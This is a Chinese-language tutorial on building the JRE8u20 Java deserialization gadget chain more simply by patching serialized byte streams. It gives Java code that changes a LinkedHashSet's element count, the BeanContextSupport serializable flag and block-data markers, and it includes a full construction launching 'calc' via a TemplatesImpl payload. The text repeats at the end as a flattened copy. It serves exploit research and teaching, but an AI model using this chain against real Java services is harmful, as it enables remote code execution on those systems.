以一种更简单的方式构造JRE8u20 Gadget
字数 1326 2025-08-18 17:33:16

JRE8u20 Gadget构造简化方法教学文档

概述

本文档详细讲解如何以更简单的方式构造JRE8u20反序列化漏洞利用链(Gadget)。该方法通过修改序列化字节码的方式,避免了复杂的全手动构造过程,同时保留了原漏洞利用链的核心原理。

核心知识点

1. LinkedHashSet的特性利用

  • 哈希碰撞原理:在jdk7u21中,通过向LinkedHashSet中塞入特定对象触发RCE
  • 扩展性:只要包含特定的2个关键对象,可以额外添加任意数量的其他对象而不影响利用
  • 示例:即使添加了额外字符串对象,利用链仍能正常工作

2. 修改序列化字节码调整LinkedHashSet元素数量

实现步骤

  1. 创建包含1个元素的LinkedHashSet并序列化
  2. 修改字节码将元素数量从1改为3
  3. 调整TC_ENDBLOCKDATA标记位置
  4. 反序列化时LinkedHashSet会读取3个元素

关键代码

// 修改hashset的长度(元素个数),由1修改为3
bytes[89] = 3;

// 调整TC_ENDBLOCKDATA标记的位置
for(int i = 0; i < bytes.length; i++){
    if(bytes[i] == 97 && bytes[i+1] == 97 && bytes[i+2] == 97){
        bytes = Util.deleteAt(bytes, i + 3);
        break;
    }
}
bytes = Util.addAtLast(bytes, (byte) 0x78);

原理图示

原始序列化流: [LinkedHashSet(1元素)][TC_ENDBLOCKDATA][其他对象1][其他对象2]
修改后序列化流: [LinkedHashSet(3元素)][其他对象1][其他对象2][TC_ENDBLOCKDATA]

3. 控制BeanContextSupport反序列化指定对象

BeanContextSupport关键代码

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();
        initialize();
        bcsPreDeserializationHook(ois);
        if (serializable > 0 && this.equals(getBeanContextPeer())) 
            readChildren(ois);
        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}

实现步骤

  1. 创建BeanContextSupport对象并设置serializable=0
  2. 序列化BeanContextSupport后跟着Payload对象
  3. 修改字节码将serializable改为1
  4. 调整TC_BLOCKDATA位置使Payload成为BeanContextSupport要读取的子对象

关键代码

// 将serializable的值修改为1
for(int i = 0; i < bytes.length; i++){
    if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 
       && bytes[i+3] == 0 && bytes[i+4] == 0 
       && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
        bytes[i+6] = 1;
        break;
    }
}

// 调整TC_BLOCKDATA位置
for(int i = 0; i < bytes.length; i++){
    if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 
       && bytes[i+3] == 0 && bytes[i+4] == 0 
       && bytes[i+5] == 0 && bytes[i+6] == 120){
        // 删除原有TC_BLOCKDATA
        bytes = Util.deleteAt(bytes, i);
        // ...多次删除操作...
        break;
    }
}
// 在适当位置重新添加TC_BLOCKDATA

原理图示

原始序列化流: [BeanContextSupport][TC_BLOCKDATA][TC_ENDBLOCKDATA][Payload]
修改后序列化流: [BeanContextSupport(serializable=1)][Payload][TC_BLOCKDATA][TC_ENDBLOCKDATA]

完整JRE8u20 Gadget构造

利用链结构

  1. 反序列化LinkedHashSet(元素数量设为3)
  2. 第一个元素BeanContextSupport触发readChildren
    • 反序列化AnnotationInvocationHandler(虽然会抛出异常但被捕获)
  3. 第二、三个元素触发哈希碰撞
    • 最终导致RCE

关键实现代码

// 1. 准备恶意Templates对象
final Object templates = Gadgets.createTemplatesImpl("calc");

// 2. 创建AnnotationInvocationHandler代理
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(
    Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);

// 3. 设置Templates对象
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // 替换为真实恶意对象

// 4. 创建LinkedHashSet和BeanContextSupport
LinkedHashSet set = new LinkedHashSet();
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
set.add(bcs);

// 5. 序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();
byte[] bytes = baous.toByteArray();

// 6. 修改字节码
// ... (此处包含前面介绍的所有字节码修改步骤) ...

// 7. 写入文件并测试
FileOutputStream fous = new FileOutputStream("jre8u20.ser");
fous.write(bytes);
fous.close();

// 反序列化测试
FileInputStream fis = new FileInputStream("jre8u20.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();

关键字节码修改点

  1. 修改LinkedHashSet的size从1改为3
  2. 调整TC_ENDBLOCKDATA标记位置
  3. 修改BeanContextSupport.serializable从0改为1
  4. 移动TC_BLOCKDATA块位置
  5. 修改AnnotationInvocationHandler的classDescFlags
    • 从SC_SERIALIZABLE改为SC_SERIALIZABLE | SC_WRITE_METHOD
    • 防止defaultDataEnd提前结束反序列化

注意事项

  1. 需要在JDK ≤ 7u20环境下测试,高版本需调整
  2. 字节码修改需要精确匹配特定位置
  3. AnnotationInvocationHandler反序列化会抛出异常但被捕获,不影响利用
  4. 哈希碰撞是触发RCE的关键

参考工具

  • Util类提供字节码操作工具方法:
    • deleteAt: 删除指定位置字节
    • addAtLast: 在末尾添加字节
    • addAtIndex: 在指定位置插入字节

总结

通过这种方法,我们可以:

  1. 避免全手动构造复杂的序列化字节码
  2. 利用Java原生序列化机制,仅修改关键字节
  3. 实现JRE8u20反序列化漏洞的稳定利用
  4. 保持利用链的扩展性和可维护性
JRE8u20 Gadget构造简化方法教学文档 概述 本文档详细讲解如何以更简单的方式构造JRE8u20反序列化漏洞利用链(Gadget)。该方法通过修改序列化字节码的方式,避免了复杂的全手动构造过程,同时保留了原漏洞利用链的核心原理。 核心知识点 1. LinkedHashSet的特性利用 哈希碰撞原理 :在jdk7u21中,通过向LinkedHashSet中塞入特定对象触发RCE 扩展性 :只要包含特定的2个关键对象,可以额外添加任意数量的其他对象而不影响利用 示例 :即使添加了额外字符串对象,利用链仍能正常工作 2. 修改序列化字节码调整LinkedHashSet元素数量 实现步骤 : 创建包含1个元素的LinkedHashSet并序列化 修改字节码将元素数量从1改为3 调整TC_ ENDBLOCKDATA标记位置 反序列化时LinkedHashSet会读取3个元素 关键代码 : 原理图示 : 3. 控制BeanContextSupport反序列化指定对象 BeanContextSupport关键代码 : 实现步骤 : 创建BeanContextSupport对象并设置serializable=0 序列化BeanContextSupport后跟着Payload对象 修改字节码将serializable改为1 调整TC_ BLOCKDATA位置使Payload成为BeanContextSupport要读取的子对象 关键代码 : 原理图示 : 完整JRE8u20 Gadget构造 利用链结构 反序列化LinkedHashSet(元素数量设为3) 第一个元素BeanContextSupport触发readChildren 反序列化AnnotationInvocationHandler(虽然会抛出异常但被捕获) 第二、三个元素触发哈希碰撞 最终导致RCE 关键实现代码 关键字节码修改点 修改LinkedHashSet的size从1改为3 调整TC_ ENDBLOCKDATA标记位置 修改BeanContextSupport.serializable从0改为1 移动TC_ BLOCKDATA块位置 修改AnnotationInvocationHandler的classDescFlags 从SC_ SERIALIZABLE改为SC_ SERIALIZABLE | SC_ WRITE_ METHOD 防止defaultDataEnd提前结束反序列化 注意事项 需要在JDK ≤ 7u20环境下测试,高版本需调整 字节码修改需要精确匹配特定位置 AnnotationInvocationHandler反序列化会抛出异常但被捕获,不影响利用 哈希碰撞是触发RCE的关键 参考工具 Util 类提供字节码操作工具方法: deleteAt : 删除指定位置字节 addAtLast : 在末尾添加字节 addAtIndex : 在指定位置插入字节 总结 通过这种方法,我们可以: 避免全手动构造复杂的序列化字节码 利用Java原生序列化机制,仅修改关键字节 实现JRE8u20反序列化漏洞的稳定利用 保持利用链的扩展性和可维护性